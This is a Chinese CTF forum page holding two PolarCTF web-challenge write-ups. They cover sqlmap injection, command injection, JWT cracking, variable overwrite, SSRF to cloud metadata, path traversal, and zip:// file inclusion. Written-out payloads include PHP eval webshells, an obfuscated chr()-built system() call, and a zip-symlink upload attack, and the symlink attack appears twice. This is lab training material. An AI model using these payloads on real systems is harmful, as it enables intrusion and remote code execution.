赛博潇湘CTF论坛

    • 注册
    • 登录
    • 搜索
    • 版块
    • 最新
    • 话题
    • 热门
    • 用户
    • Wiki
    • 靶场
    1. 主页
    2. yuan
    3. 帖子
    Y
    • 资料
    • 关注 0
    • 粉丝 0
    • 主题 2
    • 帖子 2
    • 最佳 0
    • Controversial 0
    • 群组 1

    yuan 发布的帖子

    • POLAR WP

      sql

      直接sqlmap暴库
      问题:深入
      sqlmap -u "http://example.com/search?search=test" --level=5 --risk=3
      可以直接爆出来

      并发

      <?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>
      通过这个来验证是否上传成功
      成功后访问1.php
      蚁剑连接

      the gift

      Pasted image 20260327190401.png
      变量覆盖

      提交 ?config[isAdmin]=true 时:
          - PHP 会把参数解析成 $_GET['config'] = ['isAdmin' => 'true'](嵌套数组)
          - 进入 foreach 后:
              - $key = 'config'
              - $value = ['isAdmin' => 'true']
              - $$key = $value 就等价于 $config = ['isAdmin' => 'true'];
      
      **这一行直接把原来的 $config 对象彻底覆盖成了一个普通数组!**
      

      Pasted image 20260327190537.png

      Signed_Too_Weak

      jwt密钥破解,polar

      Pasted image 20260327185707.png
      Pasted image 20260327185718.png

      杰尼龟

      Pasted image 20260327185057.png
      没啥,本地回环ip,127.0.0.1;ls
      找到,但不是真的
      find / -name "fla*"
      找flag,最后/var/tmp/flag为真

      GET

      先扫目录发现robot.txt
      Pasted image 20260327191039.png
      提示包含文件
      再上传脚本,发现禁用php,但可以双写绕过,
      也禁用了POST,不能上传木马,但不清楚GET能不能,反正尝试是没成功
      通过脚本成功命令执行
      一步步找flag,在/var/www/html中发现两个
      Pasted image 20260327191045.png
      一个个访问
      e1f19f8a-9389-4a0a-947c-f455b8394968-Pasted image 20260327191054.png
      这个空白,留着暂不考虑
      c67f4928-b36c-4140-8041-630bc53ca26d-Pasted image 20260327191059.png
      这个说拒绝访问,参考提示,又看到file前面有个文件,以及前面一个没用的文件 ,合理怀疑file前面的文件错误,于是以那个空白文件为前文件包含这个文件

      最后在空白页面包含文件,get传参file
      6ece014e-51eb-4dc7-9e50-0f1d7cf8ad0a-Pasted image 20260327191110.png

      上传脚本

      <?php
      
      $fun = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
      
      $cmd='';
      
      $cmd_chars = [108,115];
      
      foreach($cmd_chars as $ascii){
      
          $cmd .= chr($ascii);
      
      }
      
      @$fun($cmd);
      
      ?>
      

      狗黑子最后的起舞

      先扫目录发现登录界面,注册登录进去,
      Pasted image 20260327191129.png
      登陆后去掉home.php,在狗黑子目录进行扫描,发现.git泄露,利用githack获取源文件
      Pasted image 20260327191133.png
      发现有文件上传的内容,不过没有上传页面,于是手敲上传代码
      根据内容得知会上传到/etc/目录下,因为访问不到,于是通过上传有软链接的压缩包将后面的上传目录转到/var/www/html/,再上传有木马的压缩包,后买你直接访问,蚁剑链接

      代码

      压缩包1

      # 1. 确保当前目录下没有名为 ghz 的文件,清理一下
      rm -rf ghz 
      
      # 2. 创建软链接,让 ghz 指向网站根目录
      ln -s /var/www/html ghz
      
      # 3. 带上 --symlinks 参数打包,这步极其关键!
      zip --symlinks 1.zip ghz
      

      压缩包2

      # 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹
      rm -rf ghz
      
      # 2. 创建真实文件夹,名字必须和软链接一模一样
      mkdir ghz
      
      # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd)
      echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php
      
      # 4. 正常递归打包文件夹
      zip -r 2.zip ghz/
      

      上传代码

      <!DOCTYPE html>
      
      <html lang="zh-CN">
      
      <head>
      
          <meta charset="UTF-8">
      
          <title>PolarCTF 漏洞利用上传器</title>
      
      </head>
      
      <body>
      
          <h2>Zip Symlink 攻击上传测试</h2>
      
          <form method="post" enctype="multipart/form-data" action="#">
      
              <p>
      
                  <label for="file-upload">选择压缩包:</label>
      
                  <input type="file" id="file-upload" name="file">
      
              </p>
      
              <button type="submit">发送 Payload</button>
      
          </form>
      
          <hr>
      
          <small>提醒:先传软链接包,再传木马包。</small>
      
      </body>
      
      </html>
      

      注意上传后缀是url/ghzpolar/gouheizi.php

      方法二代码

      上传脚本

      <!DOCTYPE html>
      
      <html lang="zh-CN">
      
      <head>
      
          <meta charset="UTF-8">
      
          <title>漏洞触发器</title>
      
      </head>
      
      <body>
      
          <h2>Zip Symlink 攻击上传</h2>
      
          <form method="post" enctype="multipart/form-data" action="http://076e204c-7e6c-445b-832a-4e7d0a37dd45.www.polarctf.com:8090/ghzpolar/gouheizi.php">
      
              <label for="file">选择 .zip 文件:</label>
      
              <input type="file" name="file" id="file" required>
      
              <button type="submit">触发上传</button>
      
          </form>
      
      </body>
      
      </html>
      
      # 创建与软链接同名的目录(假设你第一个包里的软链接名是 link)
      mkdir link 
      
      # 写入一个既支持 GET 又支持多种读取方式的木马
      echo '<?php 
      echo "---DIR LIST---<br>";
      print_r(scandir("/")); 
      echo "<br>---FLAG CONTENT---<br>";
      echo file_get_contents("/flag"); 
      ?>' > link/shell.php
      
      # 重新打包 2.zip
      zip -r 2.zip link/
      

      后改成

      <?php
      echo "--- FINAL FLAG ---<br>";
      echo file_get_contents("/flag.txt"); 
      ?>
      

      云中来信

      ssrf,云元数据暴露

      发动对目标地址/latest/meta-data/的请求,如果能请求成功,则认定可以发动攻击,这个请求成功,包括状态码5XX,都认为请求成功,接着根据内容进行后面操作

      static

      代码

      <?php       highlight_file(__FILE__);    error_reporting(E_ALL);              function hard_filter(&$file) {        $ban_extend = array("php://", "zip://", "data://", "%2f", "%00", "\\");           foreach ($ban_extend as $ban) {               if (stristr($file, $ban)) {                   return false;               }           }        $ban_keywords = array("eval", "system", "exec", "passthru", "shell_exec", "assert", "../");           foreach ($ban_keywords as $keyword) {               if (stristr($file, $keyword)) {                $count = 0;                $file = str_replace($keyword, "", $file, $count);                    break;               }           }                $file = rtrim($file, '/');           if (strpos($file, "static/") !== 0) {               return false;           }                      return true;       }    $file = $_GET['file'] ?? '';       if (!hard_filter($file)) {           die("Illegal request!");       }        $real_file = $file . ".php";    $real_path = realpath($real_file) ?: $real_file;              echo "<br>=== 调试信息 ===<br>";       echo "1. 原始输入: " . htmlspecialchars($_GET['file'] ?? '') . "<br>";       echo "2. 过滤后file: " . htmlspecialchars($file) . "<br>";       echo "3. 拼接后的路径: " . htmlspecialchars($real_file) . "<br>";       echo "4. 真实解析路径: " . htmlspecialchars($real_path) . "<br>";       echo "5. 文件是否存在: " . (file_exists($real_path) ? "是" : "否") . "<br>";              if (file_exists($real_path)) {           echo "6. 正在包含文件...<br>";        ob_start();           include($real_path);        $content = ob_get_clean();           echo "7. 文件内容: " . htmlspecialchars($content) . "<br>";       } else {           echo "6. 错误:文件不存在!<br>";       }   ?>`
      

      payload解释

      我们构造的 payload 是:

      ?file=static/....//flag
      

      先就替换一次../,以及匹配static开头,所以直接目录遍历

      Pandora Box

      Pasted image 20260327191243.png
      文件包含
      Pasted image 20260327191248.png

      得到
      
              <?php
              ini_set('display_errors', 1);//开启报错
              error_reporting(E_ALL);
      
              if (isset($_FILES['file'])) {//检查
                  $file = $_FILES['file'];
                  $name = $file['name'];
                  $ext = pathinfo($name, PATHINFO_EXTENSION);//PATHINFO_EXTENSION取后缀
                  
                  if (in_array($ext, ['jpg', 'png'])) {//匹配后缀
                      $upload_dir = 'upload/';
                      if (!is_dir($upload_dir)) mkdir($upload_dir);//创建一个存放上传的目录
                      $new_name = $upload_dir . md5(uniqid()) . "." . $ext;//生成文件的唯一的id名称
                      
                      if (move_uploaded_file($file['tmp_name'], $new_name)) {//将文件从保存到upload
                          echo "<p class='success'>[+] Upload Success! Path: " . $new_name . "</p>";
      					echo "<a href='?file=" . $new_name . "' target='_blank'>点击跳转</a>";
                      } else {
                          echo "<p style='color:red'>上传失败</p>";
                      }
                  } else {
                      die("<p style='color:red; font-weight:bold;'>[!] 不要耍小聪明! 只允许什么你知道的</p>");
                  }
              }
      
              // 2. 漏洞逻辑 (黑盒)
              if (isset($_GET['file'])) {
                  $file = $_GET['file'];
                  echo "<div class='log-box'><strong>[System Error Log]:</strong><br>";
                  
                  // === 绝杀点 ===
                  // 强制拼接 .php,导致普通图片马失效
                  // 选手必须看到报错 'include(xxx.jpg.php)' 才能反应过来
                  include($file . '.php');
                  
                  echo "</div>";
              }
              ?>
          </div>
      </body>
      </html>
      
      知道过滤原理

      接下来通过zip伪协议来过滤并且执行命令
      PHP 支持 zip:// 流包装器(stream wrapper),它把一个 ZIP 压缩包当作目录 来对待。
      Pasted image 20260327191324.png
      根据zip伪协议的特性以及题目特性,将shell.php压缩成shell.zip并且在压缩后改名为shell.jpg,这样,shell.jpg目录下就有一个名为shell.php的木马文件
      Pasted image 20260327191328.png
      接着正常上传
      Pasted image 20260327191332.png
      再输入payload
      ?file=zip:///var/www/html/upload/文件名.jpg#shell&c=pwd
      Pasted image 20260327191336.png
      直接cat /flag
      Pasted image 20260327191339.png

      补充

      在PHP的zip://协议中,#用于指定ZIP压缩包内的具体文件路径,格式为zip://压缩包路径#内部文件路径。由于#在URL中通常表示片段标识符,直接使用会被浏览器解释为页面锚点,因此需要编码为%23才能作为参数值的一部分传递给服务器
      & 的作用:这是URL查询字符串中的参数分隔符,用于分隔多个参数。在此URL中,?file=...&c=cat /flag表示有两个参数:file和c。file参数用于文件包含漏洞,c参数传递给被包含的PHP文件(如果其中包含类似system($_GET['c'])的代码),用于执行系统命令cat /flag。

      发布在 Web
      Y
      yuan
    • gouhezi起舞

      先扫目录发现登录界面,注册登录进去,
      ba4089a5-cab9-4670-9c10-3c8924f6edd9-图片.png
      登陆后去掉home.php,在狗黑子目录进行扫描,发现.git泄露,利用githack获取源文件
      0a4a4bf3-c8b6-4824-a337-f5d2057bb3c5-图片.png
      发现有文件上传的内容,不过没有上传页面,于是手敲上传代码
      根据内容得知会上传到/etc/目录下,因为访问不到,于是通过上传有软链接的压缩包将后面的上传目录转到/var/www/html/,再上传有木马的压缩包,后买你直接访问,蚁剑链接

      代码

      压缩包1

      # 1. 确保当前目录下没有名为 ghz 的文件,清理一下
      rm -rf ghz 
      
      # 2. 创建软链接,让 ghz 指向网站根目录
      ln -s /var/www/html ghz
      
      # 3. 带上 --symlinks 参数打包,这步极其关键!
      zip --symlinks 1.zip ghz
      

      压缩包2

      # 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹
      rm -rf ghz
      
      # 2. 创建真实文件夹,名字必须和软链接一模一样
      mkdir ghz
      
      # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd)
      echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php
      
      # 4. 正常递归打包文件夹
      zip -r 2.zip ghz/
      

      上传代码

      <!DOCTYPE html>
      
      <html lang="zh-CN">
      
      <head>
      
          <meta charset="UTF-8">
      
          <title>PolarCTF 漏洞利用上传器</title>
      
      </head>
      
      <body>
      
          <h2>Zip Symlink 攻击上传测试</h2>
      
          <form method="post" enctype="multipart/form-data" action="网址">
      
              <p>
      
                  <label for="file-upload">选择压缩包:</label>
      
                  <input type="file" id="file-upload" name="file">
      
              </p>
      
              <button type="submit">发送 Payload</button>
      
          </form>
      
          <hr>
      
          <small>提醒:先传软链接包,再传木马包。</small>
      
      </body>
      
      </html>
      

      注意上传后缀是url/ghzpolar/gouheizi.php

      发布在 Web
      Y
      yuan